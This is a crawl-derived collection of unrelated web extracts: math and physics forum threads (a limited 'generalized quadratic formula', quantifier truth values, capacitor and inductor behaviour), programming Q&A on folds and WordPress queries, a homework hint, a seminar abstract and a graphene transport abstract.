degree. Before doing any further math, I sat down and thought about the problem. Just as the quadratic had one value for $n$ and the cubic equation had two possible values for $n$, I knew that an equation of the $f$th degree would have $f-1$ possible values for $n$, only further restricting the domain of equations for which the ultimate equation would work correctly. Because of this fact, the final generalized equation won't be very practical as it will only find a maximum of two roots for any polynomial and it will only work for polynomials that satisfy the required ratios of coefficients. Nevertheless, I kept working towards an answer as i knew that it would work for polynomials over the 5th degree and I thought it would be interesting to know the generalized extension of the quadratic equation. And so I continued toward the answer by attempting to find the generalized "quadratic equation" for a polynomial to the $n$th degree ( From now on, the portions of my work that were labeled with $n$ i.e. $n=\frac{b}{3a}$, will instead be labeled with $p$. Moreover, $n$ will now assume the variable that denotes the degree of a polynomial) The required ratios that the coefficients of the polynomials must hold will be found later in the post. By using the same process that I used to derive the quadratic and cubic equations above, I was able to also derive an equation that works for quartics. It is as follows: $x=\frac{-b\pm \sqrt[4]{b^4-256 a^3 e}}{4 a}$. I encourage you to work this out on your own if you are curious, however, you might want to wait until I explain how to find the required ratios later in the post. By examining the patterns that exist between the three equations that we have found, I've found that the final generalized equation for a polynomial to the $n$th degree is $x=\frac{-b+ \sqrt[n]{b^n-(n^n) (a^(n-1)) c }}{n a}$ where $c$ is the constant that exists in the polynomial. The constant in the equation $\text{ax}^3+\text{bx}^2+\text{cx}+d$, for example, would be the variable $d$. Keep in mind that if $n$ were an even number, you would need to $\pm$ the $\sqrt[n]{}$. Now, this equation, as I explained earlier, only works for polynomials whose coefficients satisfy certain ratios. I will now begin to explain the final bit of my work in which I explain how to find these required ratios. This last bit requires us to look back at our method for determining the coefficients for the second and third degree polynomials. With the cubic, for example, we would look at our two equations $x^3+\frac{\text{bx}^2}{a}+\frac{\text{cx}}{a}=-\frac{d}{a}$ and $x^3+3 x^2 n+3 \text{xn}^2+n^3$. In order to determine the coefficient ratio for the third term, the $x$ term, we set both the second and third terms equal to their corresponding terms in the other equation. Thus: $\frac{\text{bx}^2}{a}=3 x^2 n$ and $\frac{\text{cx}}{a}=3 \text{xn}^2$ Solving for $n$, we get $n=\frac{b}{3 a}$ and $n=\sqrt{\frac{c}{3 a}}$ respectively. At this point, we took the first equation $n=\frac{b}{3 a}$ and plugged it in for $n$ in the second equation $n=\sqrt{\frac{c}{3 a}}$. We now solved for $c$ to yield the required ratio for the coefficient of the third term in terms of $a$ and $b$ : $c=\frac{b^2}{3 a}$. We can now do the same for a quartic equation in order to gather more information to help in discovering the patterns that lie within the equations. With a quartic equation we have our generalized quartic $x^4+\frac{\text{bx}^3}{a}+\frac{\text{cx}^2}{a}+\frac{\text{dx}}{a}=-\frac{e}{a}$ and our expanded binomial to the 4th power $x^4+4 x^3 n+6 x^2 n^2+4 x n^3+n^4$. Just as before, we set their corresponding terms equal and solve for $n$ to give us $n=\frac{b}{4 a}$ $n=\sqrt{\frac{c}{6 a}}$ and $n=\sqrt[3]{\frac{d}{4 a}}$ Just as before, we take the first equation $n=\frac{b}{4 a}$ and plug that in for the next two equations. After solving for $c$ and $d$ separately in the two equations we find that $c=\frac{6 b^2}{16 a}$ and $d=\frac{4 b^3}{64 a^2}$ These two ratios we just found now tell us the required ratios that $c$ and $d$ must hold in a quartic equation in order to work correctly in our generalized quadratic equation that we found above. Notice that I did not reduce the numbers in the fractions for they will later help us to find patterns in the ratios. If you were to sit down and do the same for a polynomial to the 5th degree, you would find that $c=\frac{10 b^2}{25 a}$ $d=\frac{10 b^3}{125 a^2}$ and $e=\frac{5 b^4}{625 a^3}$ Now, arranging all the ratios that we have found so far into a table, we get this: Now, we can finally begin finding patterns between the equations in an attempt to find a generalized ratio requirement equation. First, notice that $b$ is always raised to the power equal to the degree of the polynomial, $n$, minus the exponent of the term it is describing (we will call this value $k$). For the $x$ term of a polynomial of the 5th degree, for example, the degree is 5 and the $x$ is raised to the 1st power. Thus $b$ should be raised to the $5-1$ power which gives us the $b^4$ we see in the table. This process can be described as $b^{n-k}$. Also take note that the exponent to which the variable $a$ is raised is very similar. The only difference is that $a$ is always raised to $b$'s exponent minus 1. It then follows that the variables $b$ and $a$ in the equations can be described as $a \left(\frac{b}{a}\right)^{n-k}$. Now, we will attempt to integrate the coefficient in the numerator into the equation that is taking form. In short, the coefficient of the numerator can always be described as the binomial coefficient indexed by $n$ and $k$. Thus we obtain $a \binom{n}{k} \left(\frac{b}{a}\right)^{n-k}$ by added that into our equation. All that is left is to describe the coefficient in the denominator. If we look back at one of our equations and work backwards, we can better understand how to describe this coefficient. Take $d=\frac{4 b^3}{64 a^2}$ for example. This was found by solving $\frac{b}{4 a}=\sqrt[3]{\frac{d}{4 a}}$ for $d$. The coefficient in the denominator for $\frac{b}{4 a}$ is 4. It just so happens that this coefficient will always be equivalent to degree of the polynomial you are attempting to solve. The equation $\frac{b}{5 a}=\sqrt[3]{\frac{d}{10 a}}$ is used to find the ratio $d=\frac{10 b^3}{125 a^2}$. In that equation, the coefficient of $\frac{b}{5 a}$ is 5, the degree of a fifth degree polynomial. As such, we can add the single variable $n$ into our equation $a \binom{n}{k} \left(\frac{b}{a}\right)^{n-k}$ in the denominator to obtain the final equation $a \binom{n}{k} \left(\frac{b}{na}\right)^{n-k}$. And with that, we can see that this equation precisely describes the ratios that must exist in the polynomial in order for the generalized quadratic equation to work. Given the degree of the polynomial $n$ you are working with and the exponent $k$ to which the $x$ in the term is raised, you can now find the exact ratio between $a$ and $b$ that must accompany that term. Lets test the equation with an example we have already done, a polynomial of the forth degree and the $x^2$ term. Plugging in 4 for $n$ and 2 for $k$, we get $a \binom{4}{2} \left(\frac{b}{4a}\right)^{4-2}$. This then simplifies to $6 a \left(\frac{b}{4a}\right)^{2}$ $6 a \left(\frac{b^2}{16 a^2}\right)$ and finally, $\frac{6 b^2}{16 a}$ Thus, we have obtained the required ratio that must exist for the $x^2$ term, a ratio that we had previously found and confirmed by manipulating our equations. Our final completely generalized quadratic formula is as follows: $x=\frac{-b+ \sqrt[n]{b^n-(n^n) (a^(n-1)) c }}{n a}$ where the coefficient of the $x^k$ term must satisfy $a \binom{n}{k} \left(\frac{b}{na}\right)^{n-k}$. And with that, I have finished explaining my little discovery. If you were able to sit through my paragraphs of explanation to get to this point, I applaud you. I can only hope now that you will comment on my work and perhaps take it even farther. If this has already been done and documented, then I apologize for attempting to take credit, please let me know. I plan on doing a bit more with the problem, specifically with the ratios that must exist. I have a feeling that there are further options for the ratios other than simply the relationship between $a$ and $b$. Notice that if you attempt to use this equation with a normal quadratic, the generalized quadratic formula, $x=\frac{-b+ \sqrt[n]{b^n-(n^n) (a^(n-1)) c }}{n a}$, turns simply into the regular quadratic formula. Also note that if you were to attempt to find the ratios for the terms $x^n$ and $x^{n-1}$, they end up being just $a$ and $b$ respectively, thus having no restrictions for the values of $a$ and $b$; they can be chosen arbitrarily. $a$ can not be 0, of course, as that would make the generalized quadratic formula undefined. This solution doesn't have much practicality but I find it interesting none the less. It completely describes the workings of the normal quadratic equation but also much more. Furthermore, it works for polynomials to the $n$th degree but can only find up to a maximum of two roots. If you find any mistakes in my work, don't hesitate to let me know. Thank you. 2. Jun 1, 2014 ### Matterwave I didn't get through your whole post, but there is, in fact a cubic formula, it's just really annoying: http://en.wikipedia.org/wiki/Cubic_equation#General_formula_for_roots For higher than cubic equations, I don't think there are general formulas for the roots anymore. I think the fact that that no such formula exists for n>3 (for maybe some other integer higher than 3, I can't remember) is proven. It's possible that you found a way to find 2 roots, provided the coefficients satisfy some complicated ratios among themselves, but this should be quite a small subset of all potential equations of degree n. 3. Jun 1, 2014 ### pwsnafu This forum is not the place to post original research. Further, there does not exist a general solution to quintics or higher due to the Abel-Ruffini theorem. Eg $x^5+x-1=0$ The necessary and sufficient requirement for solving in radicals is that the Galois group is solvable, but I don't believe you are at a level where we can explain what that entails. Last edited: Jun 1, 2014 4. Jun 1, 2014 ### micromass Staff Emeritus Indeed.
2017-08-21 18:02:46
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 2, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8854058980941772, "perplexity": 117.1577256145422}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-34/segments/1502886109470.15/warc/CC-MAIN-20170821172333-20170821192333-00625.warc.gz"}
https://cs.stackexchange.com/questions/19524/what-are-the-properties-of-the-unsided-fold
# What are the properties of the unsided fold? Foldl and folr are 2 very important functions for FP and Haskell, but I have never heard much about the unsided fold: fold f [a,b,c,d] = (f (f a b) (f c d)) That is, a fold that operates on binary associative functions (so the order of application doesn't matter). If I recall correctly, this is very common in databases as it can be parallelized. So, about it, I ask: 1. Is it, like foldr, universal? 2. Like foldr, can you define every important function using it? 3. Is there a fusion rule for it, similar to those for foldr/build and unfoldr/destroy? 4. Why is it barely mentioned? 5. Any consideration worth mentioning? • Nearly cross-posted: stackoverflow.com/questions/20986286/… – frafl Jan 9 '14 at 23:10 • Not really, I'm expecting different answers from those different contexts (SO = how to implement foldl with fold, here = general properties of the unsided fold). – Viclib Jan 10 '14 at 4:01 • Perhaps you want to cross-post it at cstheory (unless you already have). – Yuval Filmus Jan 23 '14 at 1:21
2019-12-13 17:21:05
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5221567153930664, "perplexity": 2241.1011237645334}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-51/segments/1575540564599.32/warc/CC-MAIN-20191213150805-20191213174805-00111.warc.gz"}
https://homework.cpm.org/category/CCI_CT/textbook/calc/chapter/11/lesson/11.2.1/problem/11-49
### Home > CALC > Chapter 11 > Lesson 11.2.1 > Problem11-49 11-49. Use the Ratio Test. $\lim_{n\to\infty}|x|\cdot\frac{n}{n+1}=$ If x = –1: $\sum_{n=1}^{\infty}(-1)^{n-1}\frac{(-1)^n}{n}=\sum_{n=1}^{\infty}\frac{(-1)^{2n-1}}{n}=\sum_{n=1}^{\infty}(-1)^{n-1}\frac{(-1)}{n}$ Does this resultant series converge or diverge? Be sure to check the resultant series if x = 1.
2020-10-27 16:06:42
{"extraction_info": {"found_math": true, "script_math_tex": 2, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8022135496139526, "perplexity": 6801.199325445691}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-45/segments/1603107894203.73/warc/CC-MAIN-20201027140911-20201027170911-00659.warc.gz"}
https://www.physicsforums.com/threads/capacitor-voltages-and-inductor-currents.89729/
# Capacitor voltages and Inductor currents 1. Sep 19, 2005 ### Corneo I have been taught that the voltage in a capacitor and the current in an inductor cannot change instanteously. This is important especially when solving differential equations for a circuit network. Can someone explain to me why these events cannot happen? To the extent of my knowledge for these events to happen, there is a need of infinite energy. 2. Sep 19, 2005 ### SGT The current in a capacitor is $$i = C\frac{dv}{dt}$$ and the voltage in an inductor is $$v = L\frac{di}{dt}$$. So, for an instantaneous change of voltage (dt = 0) in a capacitor, you need an infinite current. In the same way, for an instantaneous change of current in an inductor, you need an infinite voltage. Notice that there is an infinite mean power, but a finite energy, since dt = 0. 3. Sep 19, 2005 ### EvLer he-he... we were just told last week in lecture that capacitor charge (or voltage) CAN change instantaneously if input signal is delta function. 4. Sep 20, 2005 ### SGT Yes, the delta 'function' or impulse, is a signal with infinite amplitude and zero duration. Because of this it has finite energy. So a current impulse can instantaneously change the voltage of a capacitor and a voltage impulse can instantaneously change the current in an inductor. 5. Sep 20, 2005 ### chroot Staff Emeritus Of course, delta functions don't exist in the real world. There's no such thing as an impulse with infinite amplitude and zero duration in the real world. - Warren 6. Sep 21, 2005 ### SGT You are right. Delta function is an artificial construct that allows us to solve for the current fed to an ideal capacitor, initially discharged, connected to an ideal voltage source of V volts. According to Kirchoff's voltage law, the voltage in the capacitor rises instantaneously from 0 to V volts. This is only possible if the current charging the capacitor is $$i_C(t) = CV\cdot\delta(t)$$. Since no ideal elements exists, there is no impulse. Assuming a real voltage source with an output resistance and a real capacitor with an associated resistance, the real current will be $$i_C(t) = \frac{V}{R}\cdot e^{-\frac{t}{RC}}$$, where R is the combined resistance of source and capacitor. 7. Sep 29, 2005 ### leright physically, the voltage is not changing instantly...however, since this change occurs very abruptly (but no instantly) it can be ROUGHLY modeled using a dirac delta function. Nothing behaves EXACTLY like a delta function representation, but calculations can be greatly simplified by using them.
2017-02-28 03:35:51
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7317213416099548, "perplexity": 645.5571037624854}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-09/segments/1487501174124.9/warc/CC-MAIN-20170219104614-00398-ip-10-171-10-108.ec2.internal.warc.gz"}
https://www.wptricks.com/question-category/wp-query/
## Problem saving Custom Post type showing wp_list_table class inside metabox Question Regards, I'm trying to show my Custom Post Type called "Tasks" in the edit screen of another Custom Post Type called "Projects", I show it as a table using the wp_list_table class and then I insert it in a ... 0 5 months 0 Answers 65 views ## Query by more than one menu_order value Question I'm trying to write a query to get certain posts based on their menu order value. What I specifically want is to get the two previous posts and the next two posts. So $more_than_one_menu_order_value = "4,5,7,8" or$more_than_one_menu_order_value = array(4,5,6,7) (the ... 0 5 months 0 Answers 65 views ## WP_Query with two post types, but requiring category on only one of those post types Question I have a simple WP_Query: $loop = new WP_Query(array( 'post_type' => array('image', 'video'), 'category_name' =>$cat, 'meta_key'=>'total_votes', ... 0 5 months 0 Answers 55 views Question I have two custom user meta fields created with ACF. One is quantidade_corretas_dia_4 (Numeric, integer) and another tempo_dia_4 (Numeric, decimal). I am using WP_User_Query to get users ordered by both this values like this: $args ... 0 5 months 0 Answers 66 views ## How to store and receive variables in WP sessions? Question I have a form with some checkboxes and inputboxes selectboxes and it shows what the user wants via an ajax call. The problem is that when the user click on the item and the detail page is shown and then ... 0 5 months 0 Answers 65 views ## In the filter,there display “All categories” bt i want there display” location” Question I used Search & Filter plugin in wp.In the filter,I want to convert "All categories text" to "Location text" 0 5 months 0 Answers 54 views ## User Following System Question I have a custom plugin which allows users to follow each other. The follow and unfollow functionality works by ajax which is fine but there are just a few bugs that need sorting out which I am unsure as to ... 0 5 months 0 Answers 59 views ## How to get all the tags only from taxonomies that contain the currently selected tag? Question I've been trying to find a way to do this, but I don't see this mentioned anywhere or any examples of code coming even close to accomplishing this... so here is what I am trying to do - I have ... 0 5 months 0 Answers 51 views ## How to display only 1 post of many child-categories in the Parent Category page of Woocommerce Question I am trying to display only one product of a child category in the page of parent category. If I use$query->set( 'posts_per_page', '1' ); it shows only only 1 post , which is near to what i want but it ... 0 5 months 0 Answers 62 views ## How to show meta value code HTML after x paragraph Question I have a custom field for some posts, that has the HTML code. I want to show this code after x paragraph in the wordpress loop. I tried with the following code, but it doens't works. function prefix_insert_after_para( $ads,$content ) { ... 0 5 months 0 Answers 49 views
2021-01-22 15:53:35
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.20551937818527222, "perplexity": 5463.936669040094}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-04/segments/1610703530835.37/warc/CC-MAIN-20210122144404-20210122174404-00693.warc.gz"}
https://math.stackexchange.com/questions/2138213/determining-statement-truth-or-falsity
Determining Statement Truth or Falsity I'm learning how to determine the truth value of statements and I want to make sure that i'm understanding and answering the questions correctly. I'm struggling with determining if i'm reading the statements correctly. I'm reading $\forall$x $\exists$y as "for all x there exists a y". Is this correct? Are my answers correct? (my answers are the italics and the problem sets are to the left) Domain: $\mathbb R$ (all real numbers) a) ∀x∃y(x^2 = y) = True (for any x^2 there is a y that exists) b) ∀x∃y(x = y^2) = False (x is negative no real number can be negative^2 c) ∃x∀y(xy=0) = True (x = 0 all y will create product of 0) d) ∀x(x≠0 → ∃y(xy=1)) = True (x != 0 makes the statement valid in the domain of all real numbers) e) ∃x∀y(y≠0 → xy=1) = False (no single x value that satisfies equation for all y f) ∃x∃y(x+2y=2 ∧ 2x+4y=5) = False (doubling value through doubling variable coefficients without doubling sum value) • Not "there is a y that exists" but "there is a y" or "exists a y". – Mauro ALLEGRANZA Feb 10 '17 at 15:05 • @MauroALLEGRANZA got it. That makes more sense "exists a y". Do my answers conform with that logic? – StormsEdge Feb 10 '17 at 15:12 • @MauroALLEGRANZA and thank you for your help! – StormsEdge Feb 10 '17 at 15:12 • g) consider it as a system of equations; adding them we get : $3x=3$ that is not true for every $x$. Proof: consider $x=2$; then we must have some $y$ such that $2+y=2$ and $4-y=1$, which is impossible. Conclusion: FALSE. – Mauro ALLEGRANZA Feb 10 '17 at 15:12 • Other than slight roughness in the wording (which I expect will improve as you read more mathematics), the thinking appears to be good. For g), you just need one counterexample. An easy one is $x=0.$ (In fact you only needed one counterexample for b), although you found infinitely many.) – David K Feb 10 '17 at 15:14 $a) True$ $b) False$ $c) True$ $d) True$ $e) False$ $f) False$ $g) False$ Basically you got them all right. Regarding $g)$, you can either find an $x$ for which the statement isn't true or you solve the equation, obtaining specific (static, say) values for $x$ and $y$, thus proving it's falsity.
2021-05-12 09:15:47
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5586271286010742, "perplexity": 432.0813790919606}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-21/segments/1620243991685.16/warc/CC-MAIN-20210512070028-20210512100028-00103.warc.gz"}
http://mathoverflow.net/questions/26991/the-origin-of-the-satisfy-verify-mixup
# The origin of the satisfy-verify mixup JS Milne has a page about common errors in mathematical papers, and one of them is the usage of "verify" to mean "satisfy". Improper usage: "The set $A$ verifies the condition." Proper usage: "The set $A$ satisfies the condition." Proper usage: "We verify that $A$ satisfies the condition." Strangely enough, I've only seen this once or twice in a paper or book written in English, but I've seen it in nearly every paper or book written in French that I've read. That is, we have: L'ensemble $A$ vérifie la condition. Now, there's another error on Milne's page that he notes, the "associated to" and "associated with" error. If one is attempting to use proper English, "associated with" is the only correct choice. It turns out that this error comes from a mistranslation of the French, "associé à", which means "associated with". My question then: Is the French usage of "vérifier" to mean "satisfy" acceptable in French, like the usage of "associé à", but not in English, or is it just an error that has propagated to both languages (possibly from a third language where the word for "verify" is the same as the word for "satisfy")? - Harry -- "v\'erifier une condition" is perfectly acceptable in French (one can also say "satisfaire a une condition") and so is "associe\'e a...". But none of this has much to do with mathematics, I'm afraid. –  algori Jun 4 '10 at 0:16 that is, associ\'e(e) `a. –  algori Jun 4 '10 at 0:26 Your question practically answers itself: as algori says, the usage of "vérifier" in this way is fine in French but not in English. And, I have always suspected, this is the source of the error: French mathematicians writing in English and/or anglophone mathematicians reading French and carrying over the usage. –  Pete L. Clark Jun 4 '10 at 0:41 Sadly, the mixup is way too frequent in Spanish, and not correct. –  Mariano Suárez-Alvarez Jun 4 '10 at 1:13 Dear Harry, in Serre's collected papers, vol.1, page 183 [or Annals of Math.58(1953) page 270] you'll find (line -5) "Soit $\mathcal C$ une classe vérifiant (II_A)..." and many such examples on the same page, corroborating your testimony on papers and books you read in French. I recoil in horror at the thought that some heretic might not consider this a sufficient proof that the usage of "vérifie" in the sense "satisfies" is more than acceptable in French. Another quote: Bourbaki, in Topologie Générale, Chapitre 1, §6, page 61 (line -15)[Quatrième édition] writes "Pour qu'un ensemble de parties satisfaisant à (F_1) vérifie aussi..." - Great! I would have taken your word for it, but this is proof! –  Harry Gindi Jun 4 '10 at 0:46 This is just a proof that Serre has terrible style inherited from at least one of his teachers and that he is not alone among the Bourbaki team whose influence on mathematical writing tradition in France and elsewhere is significant. This is clearly a minor "abus de langage" and its frequency and diffusion does not reduce the absurdity of using an active verb implying consciousness with a mathematical object as a subject. –  ogerard Jun 5 at 21:16 @ogerard "This is just a proof that Serre has terrible style" As we French say: better to hear that than be deaf. You might add to your hilarious comment that he is a dreadful mathematician, for good measure. –  Georges Elencwajg Jun 5 at 21:39 @GeorgesElencwajg : I really dislike his way of writing and talking about mathematics, the architecture of most of his books, his choice of emphasis, even if he is one very important mathematician of the 20th century with deep contributions to many fields, great and even devastating insight, etc. In the particular case we are discussing I do not think he originated this way of using "verifier" but I hold it to a higher standard than most and I regret that he employs it. –  ogerard Jun 7 at 21:27 This is probably not what you were talking about, but if "the condition" is " there exists a set such that ..." and $A$ is such a set, then I would find it perfectly correct to say "The set $A$ verifies the condition." -
2015-07-03 06:39:08
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7477170825004578, "perplexity": 1911.5360510288876}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2015-27/segments/1435375095775.68/warc/CC-MAIN-20150627031815-00135-ip-10-179-60-89.ec2.internal.warc.gz"}
https://www.math.uzh.ch/?id=ve_mfs_sem_vor0&key1=0&key2=1360&key3=4702&L=1
# Talk Modul:   MAT675  PDE and Mathematical Physics ## Estimates for the number of eigenvalues for a Schrödinger operator Prof. Dr. Guy David talk Date: 18.03.21  Time: 18.00 - 19.00  Room: Y27H28 Abstract Presentation of a joint result with M. Filoche and Svitlana Mayboroda. We estimate the number of eigenvalues (integrated density of states) for an operator $L =-\Delta + V$. Think of the Weyl formula, but we look for a uniform estimate, which is not asymptotic. The statement and proof use the so-called Landscape function(the solution of $Lu=1$). We should also mention rapidly a case of random potentials.
2021-05-08 10:55:40
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9362021088600159, "perplexity": 1765.88326918121}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-21/segments/1620243988858.72/warc/CC-MAIN-20210508091446-20210508121446-00128.warc.gz"}
https://www.scienceopen.com/document?vid=ff7b8727-eea1-46e6-9d9b-bcf3b372bf80
20 views 0 recommends +1 Recommend 1 collections 0 shares • Record: found • Abstract: found • Article: found Is Open Access # Ballistic transport exceeding 28 \mu m in CVD grown graphene Preprint Bookmark There is no author summary for this article yet. Authors can add summaries to their articles on ScienceOpen to make them more accessible to a non-specialist audience. ### Abstract We report on ballistic transport over more than 28 \mu m in graphene grown by chemical vapor deposition (CVD) that is fully encapsulated in hexagonal boron nitride. The structures are fabricated by an advanced dry van-der-Waals transfer method and exhibit carrier mobilities of up to three million cm$$^2$$/(Vs). The ballistic nature of charge transport is probed by measuring the bend resistance in cross- and square-shaped devices. Temperature dependent measurements furthermore prove that ballistic transport is maintained exceeding 1 \mu m up to 200 K. ### Author and article information ###### Journal 2015-11-27 2016-01-12 10.1021/acs.nanolett.5b04840 26761190 1511.08601
2020-06-02 17:58:33
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.40393874049186707, "perplexity": 8190.58306970845}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-24/segments/1590347425481.58/warc/CC-MAIN-20200602162157-20200602192157-00175.warc.gz"}
https://faculty.math.illinois.edu/Macaulay2/doc/Macaulay2-1.19.1/share/doc/Macaulay2/RealRoots/html/_regular__Rep_lp__Ring__Element_cm__Ideal_rp.html
